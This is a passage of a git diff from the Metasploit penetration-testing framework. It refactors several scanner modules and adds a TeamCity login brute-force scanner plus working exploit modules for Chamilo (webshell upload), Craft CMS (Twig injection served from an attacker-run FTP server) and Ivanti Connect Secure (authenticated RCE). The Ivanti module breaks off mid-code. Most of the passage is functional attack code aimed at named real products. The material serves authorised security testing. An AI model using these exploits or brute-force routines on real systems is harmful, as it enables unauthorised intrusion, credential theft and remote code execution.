'https://support.microsoft.com/en-us/help/161372/how-to-enable-smb-signing-in-windows-nt'), + SiteReference.new('URL', 'https://support.microsoft.com/en-us/help/887429/overview-of-server-message-block-signing'), + ] + }) + end # Report the service with a friendly banner report_service( @@ -282,7 +317,7 @@ def run_host(ip) port: rport, proto: 'tcp', name: 'smb', - info: desc + info: "#{smb_desc}; #{os_desc}" ) # Report a fingerprint.match hash for name, domain, and language @@ -294,8 +329,8 @@ def run_host(ip) ntype: 'fingerprint.match', data: nd_fingerprint_match ) - elsif res['native_os'] || res['native_lm'] - desc = "#{res['native_os']} (#{res['native_lm']})" + elsif smb1_fingerprint['native_os'] || smb1_fingerprint['native_lm'] + desc = "#{smb1_fingerprint['native_os']} (#{smb1_fingerprint['native_lm']})" report_service(host: ip, port: rport, name: 'smb', info: desc) lines << { type: :status, message: " Host could not be identified: #{desc}" } else @@ -307,7 +342,7 @@ def run_host(ip) port: rport, proto: 'tcp', name: 'smb', - info: desc + info: "#{smb_desc}. #{os_desc}" ) diff --git a/modules/auxiliary/scanner/ssh/eaton_xpert_backdoor.rb b/modules/auxiliary/scanner/ssh/eaton_xpert_backdoor.rb index 31832116bdc0..5365eb64ea95 100644 --- a/modules/auxiliary/scanner/ssh/eaton_xpert_backdoor.rb +++ b/modules/auxiliary/scanner/ssh/eaton_xpert_backdoor.rb @@ -84,7 +84,7 @@ def run_host(ip) info: version ) - shell = Net::SSH::CommandStream.new(ssh) + shell = Net::SSH::CommandStream.new(ssh, logger: self) # XXX: Wait for CommandStream to log a channel request failure sleep 0.1 diff --git a/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb b/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb index 7f874e63e9dd..566ef871b267 100644 --- a/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb +++ b/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb @@ -77,7 +77,7 @@ def run_host(ip) info: version ) - shell = Net::SSH::CommandStream.new(ssh) + shell = Net::SSH::CommandStream.new(ssh, logger: self) # XXX: Wait for CommandStream to log a channel request failure sleep 0.1 diff --git a/modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb b/modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb index b5341b2b9585..5a043c992de9 100644 --- a/modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb +++ b/modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb @@ -120,7 +120,7 @@ def run_host(ip) info: version ) - shell = Net::SSH::CommandStream.new(ssh, datastore['CMD'], pty: datastore['SPAWN_PTY']) + shell = Net::SSH::CommandStream.new(ssh, datastore['CMD'], pty: datastore['SPAWN_PTY'], logger: self) # XXX: Wait for CommandStream to log a channel request failure sleep 0.1 diff --git a/modules/auxiliary/scanner/teamcity/teamcity_login.rb b/modules/auxiliary/scanner/teamcity/teamcity_login.rb new file mode 100644 index 000000000000..31e6aed9fd45 --- /dev/null +++ b/modules/auxiliary/scanner/teamcity/teamcity_login.rb @@ -0,0 +1,99 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/teamcity' + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::AuthBrute + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'JetBrains TeamCity Login Scanner', + 'Description' => 'This module performs login attempts against a JetBrains TeamCity webpage to bruteforce possible credentials.', + 'Author' => [ 'adfoster-r7', 'sjanusz-r7' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [], + 'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ] + } + ) + ) + + register_options( + [ + Msf::OptString.new('TARGETURI', [true, 'The base path to the TeamCity application', '/']), + Opt::RPORT(8111), + OptBool.new('PASSWORD_SPRAY', [true, 'Reverse the credential pairing order. For each password, attempt every possible user.', true]), + ], self.class + ) + + options_to_deregister = ['DOMAIN'] + deregister_options(*options_to_deregister) + end + + def process_credential(credential_data) + credential_combo = "#{credential_data[:username]}:#{credential_data[:private_data]}" + case credential_data[:status] + when Metasploit::Model::Login::Status::SUCCESSFUL + print_good "#{credential_data[:address]}:#{credential_data[:port]} - Login Successful: #{credential_combo}" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + return { status: :success, credential: credential_data } + else + error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]})" + vprint_error error_msg + invalidate_login(credential_data) + return { status: :fail, credential: credential_data } + end + end + + def run_scanner(scanner) + successful_logins = [] + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + + processed_credential = process_credential(credential_data) + successful_logins << processed_credential[:credential] if processed_credential[:status] == :success + end + { successful_logins: successful_logins } + end + + def run_host(ip) + cred_collection = build_credential_collection( + username: datastore['USERNAME'], + password: datastore['PASSWORD'] + ) + + scanner_opts = configure_http_login_scanner( + host: ip, + uri: target_uri, + port: datastore['RPORT'], + proxies: datastore['Proxies'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: datastore['HttpClientTimeout'] || 5, + framework: framework, + framework_module: self, + http_success_codes: [200, 302], + method: 'POST', + ssl: datastore['SSL'] + ) + + scanner = Metasploit::Framework::LoginScanner::TeamCity.new(scanner_opts) + run_scanner(scanner) + end +end diff --git a/modules/auxiliary/scanner/x11/open_x11.rb b/modules/auxiliary/scanner/x11/open_x11.rb index 67db1cbb26b1..ae4986081277 100644 --- a/modules/auxiliary/scanner/x11/open_x11.rb +++ b/modules/auxiliary/scanner/x11/open_x11.rb @@ -4,24 +4,35 @@ ## class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report + include Exploit::Remote::Tcp + include Auxiliary::Scanner + include Auxiliary::Report + include Msf::Exploit::Remote::X11::Connect def initialize super( - 'Name' => 'X11 No-Auth Scanner', + 'Name' => 'X11 No-Auth Scanner', 'Description' => %q{ This module scans for X11 servers that allow anyone to connect without authentication. }, - 'Author' => ['tebo '], - 'References' => - [ - ['OSVDB', '309'], - ['CVE', '1999-0526'], - ], - 'License' => MSF_LICENSE + 'Author' => [ + 'tebo ', # original module + 'h00die' # X11 library + ], + 'References' => [ + ['OSVDB', '309'], + ['CVE', '1999-0526'], + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [], + 'RelatedModules' => [ + 'auxiliary/gather/x11_keyboard_spy', + ] + } ) register_options([ @@ -30,47 +41,30 @@ def initialize end def run_host(ip) + connect + connection = x11_connect - begin - - connect - - # X11.00 Null Auth Connect - sock.put("\x6c\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00") - response = sock.get_once - - disconnect - - if response - success = response[0,1].unpack('C')[0] - else - print_error("No response received due to a timeout") - return - end - + if connection.nil? + vprint_bad('No connection, or bad X11 response received') + return + end - if(success == 1) - vendor_len = response[24,2].unpack('v')[0] - vendor = response[40,vendor_len].unpack('A*')[0] - print_good("#{ip} Open X Server (#{vendor})") - # Add Report - report_note( - :host => ip, - :proto => 'tcp', - :sname => 'x11', - :port => rport, - :type => 'Open X Server', - :data => "Open X Server (#{vendor})" + if connection.header.success == 1 + x11_print_connection_info(connection, ip, rport) + report_service( + host: rhost, + proto: 'tcp', + port: rport, + info: "Open X Server (#{connection.body.vendor}) #{connection.body.screen_width_in_pixels}x#{connection.body.screen_height_in_pixels}", + name: 'X11' ) - elsif (success == 0) - print_error("#{ip} Access Denied") - else - # X can return a reason for auth failure but we don't really care for this - end - - rescue ::Rex::ConnectionError - rescue ::Errno::EPIPE + else + vprint_error("#{ip} Access not successful: #{connection.body.reason}") end + disconnect + rescue ::Errno::EPIPE, ::Rex::ConnectionError + vprint_bad('No connection, or bad X11 response received') + return end end diff --git a/modules/auxiliary/server/relay/esc8.rb b/modules/auxiliary/server/relay/esc8.rb index efc7dc96a8d5..48ef580a70fd 100644 --- a/modules/auxiliary/server/relay/esc8.rb +++ b/modules/auxiliary/server/relay/esc8.rb @@ -107,11 +107,12 @@ def run def on_relay_success(relay_connection:, relay_identity:) case datastore['MODE'] when 'AUTO' - cert_template = relay_identity.end_with?('$') ? 'Computer' : 'User' - retrieve_cert(relay_connection, relay_identity, cert_template) + cert_template = relay_identity.end_with?('$') ? ['DomainController', 'Machine'] : ['User'] + retrieve_certs(relay_connection, relay_identity, cert_template) when 'ALL', 'QUERY_ONLY' cert_templates = get_cert_templates(relay_connection) unless cert_templates.nil? || cert_templates.empty? + print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***') print_good("Available Certificates for #{relay_identity} on #{datastore['RELAY_TARGET']}: #{cert_templates.join(', ')}") if datastore['MODE'] == 'ALL' retrieve_certs(relay_connection, relay_identity, cert_templates) @@ -128,13 +129,7 @@ def on_relay_success(relay_connection:, relay_identity:) def create_csr(private_key, cert_template) vprint_status('Generating CSR...') - request = OpenSSL::X509::Request.new - request.version = 1 - request.subject = OpenSSL::X509::Name.new([ - ['CN', cert_template, OpenSSL::ASN1::UTF8STRING] - ]) - request.public_key = private_key.public_key - request.sign(private_key, OpenSSL::Digest.new('SHA256')) + request = Rex::Proto::X509::Request.create_csr(private_key, cert_template) vprint_status('CSR Generated') request end diff --git a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb index 4ab55b0fce97..3b80bacf6382 100644 --- a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb +++ b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb @@ -110,7 +110,7 @@ def do_login(user, pass) end if ssh - conn = Net::SSH::CommandStream.new(ssh) + conn = Net::SSH::CommandStream.new(ssh, logger: self) ssh = nil return conn end diff --git a/modules/exploits/example_linux_priv_esc.rb b/modules/exploits/example_linux_priv_esc.rb index d196040464e1..2818ce7df085 100644 --- a/modules/exploits/example_linux_priv_esc.rb +++ b/modules/exploits/example_linux_priv_esc.rb @@ -97,18 +97,24 @@ def base_dir def check # Check the kernel version to see if its in a vulnerable range + # we guard this because some distros have funky kernel versions https://github.com/rapid7/metasploit-framework/issues/19812 release = kernel_release - if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') || - Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0') - return CheckCode::Safe("Kernel version #{release} is not vulnerable") + begin + if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') || + Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0') + return CheckCode::Safe("Kernel version #{release} is not vulnerable") + end + rescue ArgumentError => e + return CheckCode::Safe("Error determining or processing kernel release (#{release}) into known format: #{e}") end vprint_good "Kernel version #{release} appears to be vulnerable" # Check the app is installed and the version, debian based example package = cmd_exec('dpkg -l example | grep \'^ii\'') if package&.include?('1:2015.3.14AR.1-1build1') - CheckCode::Appears("Vulnerable app version #{package} detected") + return CheckCode::Appears("Vulnerable app version #{package} detected") end + CheckCode::Safe("app #{package} is not vulnerable") end diff --git a/modules/exploits/freebsd/http/junos_phprc_auto_prepend_file.rb b/modules/exploits/freebsd/http/junos_phprc_auto_prepend_file.rb index 6a48241c626b..9f4dbcf6cf6f 100644 --- a/modules/exploits/freebsd/http/junos_phprc_auto_prepend_file.rb +++ b/modules/exploits/freebsd/http/junos_phprc_auto_prepend_file.rb @@ -349,7 +349,7 @@ def ssh_login end if ssh - Net::SSH::CommandStream.new(ssh) + Net::SSH::CommandStream.new(ssh, logger: self) end end diff --git a/modules/exploits/linux/http/chamilo_bigupload_webshell.rb b/modules/exploits/linux/http/chamilo_bigupload_webshell.rb new file mode 100644 index 000000000000..e798aa11f90b --- /dev/null +++ b/modules/exploits/linux/http/chamilo_bigupload_webshell.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + class UploadFileError < StandardError; end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Chamilo v1.11.24 Unrestricted File Upload PHP Webshell', + 'Description' => %q{ + Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24 + a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to + `post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to: + `/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist + by default. + }, + 'Author' => [ + 'Ngo Wei Lin', # discovery + 'jheysel-r7' # module + ], + 'References' => [ + [ 'URL', 'https://starlabs.sg/advisories/23/23-4220/'], + [ 'URL', 'https://github.com/H4cking4All/CVE-2023-4220/tree/main'], + [ 'CVE', '2023-4220'] + ], + 'License' => MSF_LICENSE, + 'Platform' => %w[php], + 'Privileged' => false, + 'Arch' => [ ARCH_PHP ], + 'Targets' => [ + [ + 'PHP', + { + 'Platform' => ['php'], + 'Arch' => ARCH_PHP + } + ], + ], + 'DisclosureDate' => '2023-11-28', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/files/') + ) + + return CheckCode::Safe('The directory /main/inc/lib/javascript/bigupload/files/ does not exist on the target') if res&.code == 404 + + print_good('The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.') + test_file_content = rand_text_alphanumeric(8) + test_file_name = rand_text_alphanumeric(8) + + begin + upload_file(test_file_content, test_file_name) + rescue UploadFileError => e + return CheckCode::Safe("#{e.class}:#{e}") + end + + CheckCode::Vulnerable('File upload was successful (CVE-2024-4220 was exploited successfully).') + end + + def upload_file(file_contents, file_name) + vars_form_data = [ + { + 'name' => 'bigUploadFile', + 'data' => file_contents, + 'filename' => file_name, + 'mime_type' => 'application/octet-stream' + } + ] + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/inc/bigUpload.php'), + 'vars_form_data' => vars_form_data, + 'vars_get' => { + 'action' => 'post-unsupported' + } + ) + + raise UploadFileError, 'The file upload failed.' unless res&.code == 200 && res&.body == 'The file has successfully been uploaded.' + + register_file_for_cleanup(file_name) + end + + def exploit + file_contents = payload.encoded + file_name = "#{Rex::Text.rand_text_alpha(8..16)}.php" + + begin + upload_file(file_contents, file_name) + rescue UploadFileError => e + fail_with(Failure::UnexpectedReply, "#{e.class}:#{e}") + end + + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/main/inc/lib/javascript/bigupload/files', file_name) + }) + end +end diff --git a/modules/exploits/linux/http/craftcms_ftp_template.rb b/modules/exploits/linux/http/craftcms_ftp_template.rb new file mode 100644 index 000000000000..e52d9ab1225d --- /dev/null +++ b/modules/exploits/linux/http/craftcms_ftp_template.rb @@ -0,0 +1,221 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::FtpServer + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Craft CMS Twig Template Injection RCE via FTP Templates Path', + 'Description' => %q{ + This module exploits a Twig template injection vulnerability in Craft CMS by abusing the --templatesPath argument. + The vulnerability allows arbitrary template loading via FTP, leading to Remote Code Execution (RCE). + }, + 'Author' => [ + 'jheysel-r7', # Metasploit module + 'Valentin Lobstein', # Refactor, Fix, and PoC + 'AssetNote' # Vulnerability discovery + ], + 'References' => [ + ['CVE', '2024-56145'], + ['URL', 'https://github.com/Chocapikk/CVE-2024-56145'], + ['URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms'] + ], + 'Payload' => { + 'BadChars' => "\x22\x27" # " and ' + }, + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command Shell', { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-12-19', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + end + + def vulnerable_file_list + %w[/default/index.twig /default/index.html] + end + + def get_payload + "{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}" + end + + def send_ftp_response(cli, code, message) + cli.put "#{code} #{message}\r\n" + vprint_status("-> #{code} #{message}") + end + + def on_client_connect(cli) + @state[cli] = { + name: "#{cli.peerhost}:#{cli.peerport}", + ip: cli.peerhost, + port: cli.peerport, + user: nil, + pass: nil, + cwd: '/' + } + send_ftp_response(cli, 220, 'FTP Server Ready') + end + + def on_client_command_user(cli, arg) + vprint_status('on_client_command_user') + if arg.downcase == 'anonymous' + @state[cli][:user] = 'anonymous' + send_ftp_response(cli, 331, 'Username ok, send password.') + else + send_ftp_response(cli, 530, 'Not logged in.') + end + end + + def on_client_command_pass(cli, arg) + vprint_status('on_client_command_pass') + if @state[cli][:user] == 'anonymous' + @state[cli][:pass] = arg + send_ftp_response(cli, 230, 'Login successful.') + else + send_ftp_response(cli, 530, 'Not logged in.') + end + end + + def on_client_command_cwd(cli, arg) + vprint_status('on_client_command_cwd') + if arg == '/default' + @state[cli][:cwd] = '/default' + send_ftp_response(cli, 250, "\"#{@state[cli][:cwd]}\" is current directory.") + else + send_ftp_response(cli, 550, 'Not a directory') + end + end + + def on_client_command_type(cli, arg) + vprint_status('on_client_command_type') + if arg == 'I' + send_ftp_response(cli, 200, 'Type set to: Binary.') + else + send_ftp_response(cli, 500, 'Unknown type.') + end + end + + def on_client_command_size(cli, arg) + vprint_status('on_client_command_size') + if vulnerable_file_list.include?(arg) + send_ftp_response(cli, 213, get_payload.length.to_s) + else + send_ftp_response(cli, 550, "#{arg} is not retrievable.") + end + end + + def on_client_command_mdtm(cli, arg) + vprint_status('on_client_command_mdtm') + if vulnerable_file_list.include?(arg) + send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S')) + else + send_ftp_response(cli, 550, "#{arg} is not retrievable.") + end + end + + def on_client_command_epsv(cli, _arg) + vprint_status('on_client_command_epsv') + send_ftp_response(cli, 502, 'EPSV command not implemented.') + end + + def on_client_command_retr(cli, arg) + vprint_status('on_client_command_retr') + if vulnerable_file_list.include?(arg) + conn = establish_data_connection(cli) + unless conn + send_ftp_response(cli, 425, "Can't open data connection.") + return + end + send_ftp_response(cli, 150, "Opening data connection for #{arg}") + conn.put(get_payload) + conn.close + send_ftp_response(cli, 226, 'Transfer complete.') + else + send_ftp_response(cli, 550, 'File not available.') + end + rescue IOError => e + vprint_error("Data transfer failed: #{e.message}") + send_ftp_response(cli, 425, 'Data transfer failed.') + end + + def on_client_command_quit(cli, _arg) + vprint_status('on_client_command_quit') + send_ftp_response(cli, 221, 'Goodbye.') + end + + def on_client_command_unknown(cli, cmd, arg) + vprint_status('on_client_command_unknown') + send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.") + end + + def check + vprint_status('Performing vulnerability check...') + nonce = Rex::Text.rand_text_alphanumeric(8) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'vars_get' => { '--configPath' => "/#{nonce}" } + ) + + if res&.body&.include?('mkdir()') && res.body.include?(nonce) + CheckCode::Vulnerable + else + CheckCode::Safe + end + end + + def trigger_http_request + vprint_status('Triggering HTTP request...') + templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}" + send_request_raw( + 'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}", + 'method' => 'GET' + ) + rescue StandardError => e + vprint_error("HTTP request failed: #{e.message}") + end + + def start_ftp_service + if datastore['SSL'] == true + reset_ssl = true + datastore['SSL'] = false + end + start_service + if reset_ssl + datastore['SSL'] = true + end + end + + def exploit + vprint_status('Starting FTP service...') + start_ftp_service + vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + vprint_status('Sending HTTP request to trigger the payload...') + trigger_http_request + end +end diff --git a/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb b/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb new file mode 100644 index 000000000000..ba3a47551199 --- /dev/null +++ b/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_37404.rb @@ -0,0 +1,431 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + class IvantiError < StandardError; end + class IvantiNoAccessError < IvantiError; end + class IvantiNotFoundError < IvantiError; end + class IvantiUnexpectedResponseError < IvantiError; end + class IvantiUnknownError < IvantiError; end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ivanti Connect Secure Authenticated Remote Code Execution via OpenSSL CRLF Injection', + 'Description' => %q{ + This module exploits a CRLF injection vulnerability in Ivanti Connect + Secure to achieve remote code execution (CVE-2024-37404). Versions + prior to 22.7R2.1 are vulnerable. Note that Ivanti Policy Secure + versions prior to 22.7R1.1 are also vulnerable but this module + doesn't support this software. + + Valid administrative credentials are required. A non-administrative + user is also required and can be created using the administrative + account, if needed. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Richard Warren', # Vulnerability discovery and PoC + 'Christophe De La Fuente', # Metasploit Module + ], + 'References' => [ + ['CVE', '2024-37404'], + ['URL', 'https://attackerkb.com/topics/FI5vcuGwyM/cve-2024-37404'], + ['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-and-Policy-Secure-CVE-2024-37404'], + ['URL', 'https://blog.amberwolf.com/blog/2024/october/cve-2024-37404-ivanti-connect-secure-authenticated-rce-via-openssl-crlf-injection/'] + ], + 'DisclosureDate' => '2024-10-08', + 'Platform' => 'linux', + 'Arch' => ARCH_X86, # OpenSSL running on the appliance is an x86 binary which requires the payload to be ARCH_x86 + 'Privileged' => true, # Administrative access is needed and code execution as root. + 'Targets' => [ + ['Automatic', {}] + ], + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, ACCOUNT_LOGOUT] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path of the Ivanti Connect Secure web interface', '/']), + OptString.new('ADMIN_USERNAME', [true, 'Administrative username to authenticate with.']), + OptString.new('ADMIN_PASSWORD', [true, 'Administrator password to authenticate with.']), + OptString.new('USERNAME', [true, 'Normal user username to authenticate with.']), + OptString.new('PASSWORD', [true, 'Normal user password to authenticate with.']) + ] + ) + + @logged = false + end + + def confirm_login_admin(uri) + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true') + raise IvantiUnknownError, "[confirm_login_admin] No response from '#{uri}'" if res.nil? + + csrf_token = res.get_html_document.xpath('//form/input[@name="xsauth"]/@value').text + raise IvantiNotFoundError, '[confirm_login_admin] Could not find the CSRF token' if csrf_token.empty? + + form_data_str = res.get_html_document.xpath('//form/input[@id="DSIDFormDataStr"]/@value').text + raise IvantiNotFoundError, '[confirm_login_admin] Could not find the FormDataStr token' if form_data_str.empty? + + uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/login.cgi') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'keep_cookies' => 'true', + 'vars_post' => { + 'btnContinue' => 'Continue the session', + 'FormDataStr' => form_data_str, + 'xsauth' => csrf_token + } + ) + raise IvantiUnknownError, "[confirm_login_admin] No response from '#{uri}'" if res.nil? + + res + end + + def login_admin + print_status( + "Login to the administrative interface with username '#{datastore['ADMIN_USERNAME']}' and password "\ + "'#{datastore['ADMIN_PASSWORD']}'..." + ) + + uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi') + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true') + raise IvantiUnknownError, "[login_admin] No response from '#{uri}'" if res.nil? + + csrf_token = res.get_html_document.xpath('//form/input[@id="xsauth_token"]/@value').text + raise IvantiNotFoundError, '[login_admin] Could not find the CSRF token' if csrf_token.empty? + + uri = normalize_uri(target_uri.path, '/dana-na/auth/url_admin/login.cgi') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'keep_cookies' => 'true', + 'vars_post' => { + 'tz_offset' => (60 * rand(0..8)).to_s, + 'xsauth_token' => csrf_token, + 'username' => datastore['ADMIN_USERNAME'], + 'password' => datastore['ADMIN_PASSWORD'], + 'realm' => 'Admin Users', + 'btnSubmit' => 'Sign In' + } + ) + raise IvantiUnknownError, "[login_admin] No response from '#{uri}'" if res.nil? + + if res.code == 302 && res.redirection.to_s == normalize_uri(target_uri.path, '/dana-na/auth/url_admin/welcome.cgi?p=admin%2Dconfirm') + print_warning("The admin #{datastore['ADMIN_USERNAME']} is already logged in") + res = confirm_login_admin(normalize_uri(target_uri.path, res.redirection.to_s)) + end + + if res.code != 302 || res.redirection.to_s != normalize_uri(target_uri.path, '/dana-admin/misc/admin.cgi') + raise IvantiNoAccessError, "[login_admin] Login failed (username: #{datastore['ADMIN_USERNAME']}, password: #{datastore['ADMIN_PASSWORD']})" + end + end + + def get_version + print_status('Getting the version...') + + uri = normalize_uri(target_uri.path, '/dana-admin/sysinfo/sysinfo.cgi') + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true') + raise IvantiUnknownError, "[get_version] No response from '#{uri}'" if res.nil? + + version_str = res.get_html_document.xpath('//span[@id="DSIDSystemSoftwarePkgVersion"]').text + raise IvantiNotFoundError, '[get_version] Could not find the version number' if version_str.empty? + + print_good("Found version #{version_str}") + unless version_str.match(/(\d+\.[\dR]+)/) + raise IvantiNotFoundError, "[get_version] Unexpected version number format: #{version_str}" + end + + Rex::Version.new(Regexp.last_match(1)) + end + + def check + begin + login_admin + @logged = true + rescue IvantiError => e + return CheckCode::Unknown("Unable to login to the administrative interface: #{e}") + end + + begin + version = get_version + rescue IvantiError => e + return CheckCode::Detected("Version number not found: #{e}") + end + + unless version < Rex::Version.new('22.7R2.1') + return CheckCode::Safe("Version number: #{version}") + end + + return CheckCode::Appears + end + + def confirm_login_user(uri) + res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => 'true') + raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil? + + form_data_str = res.get_html_document.xpath('//form/input[@id="DSIDFormDataStr"]/@value').text + raise IvantiNotFoundError, '[login_user] Could not find the FormDataStr token' if form_data_str.empty? + + uri = normalize_uri(target_uri.path, '/dana-na/auth/url_default/login.cgi') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'keep_cookies' => 'true', + 'vars_post' => { + 'btnContinue' => 'Continue the session', + 'FormDataStr' => form_data_str + } + ) + raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil? + + res + end + + def login_user + print_status( + "Login to the user interface with username '#{datastore['USERNAME']}' and password "\ + "'#{datastore['PASSWORD']}'..." + ) + + uri = normalize_uri(target_uri.path, '/dana-na/auth/url_default/login.cgi') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'keep_cookies' => 'true', + 'vars_post' => { + 'tz_offset' => '', + 'win11' => '', + 'clientMAC' => '', + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'realm' => 'Users', + 'btnSubmit' => 'Sign In' + } + ) + raise IvantiUnknownError, "[login_user] No response from '#{uri}'" if res.nil? + + if res.code == 302 && res.redirection.to_s == normalize_uri(target_uri.path, '/dana-na/auth/url_default/welcome.cgi?p=user%2Dconfirm') + print_warning("User #{datastore['USERNAME']} is already logged in.") + res = confirm_login_user(normalize_uri(target_uri.path, res.redirection.to_s)) + end + + if res.code != 302 && res.redirection.to_s != normalize_uri(target_uri.path, '/dana/home/starter0.cgi?check=yes') + raise IvantiNoAccessError, "[login_user] Login failed (username: #{datastore['USERNAME']}, password: #{datastore['PASSWORD']})" + end + end + + def upload_log + print_status('Uploading the log file...') + + @client_component = "Log_#{rand_text_numeric(3)}" + uri = normalize_uri(target_uri.path, "/dana/uploadlog/uploadlog.cgi?client_component=#{@client_component}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'keep_cookies' => 'true', + 'vars_form_data' => [ + { + 'name' => 'uploaded_file', + 'data' => Msf::Util::EXE.to_linux_x86_elf_dll(framework, payload.encoded), + 'content_type' => 'application/octet-stream', + 'encoding' => 'binary', + 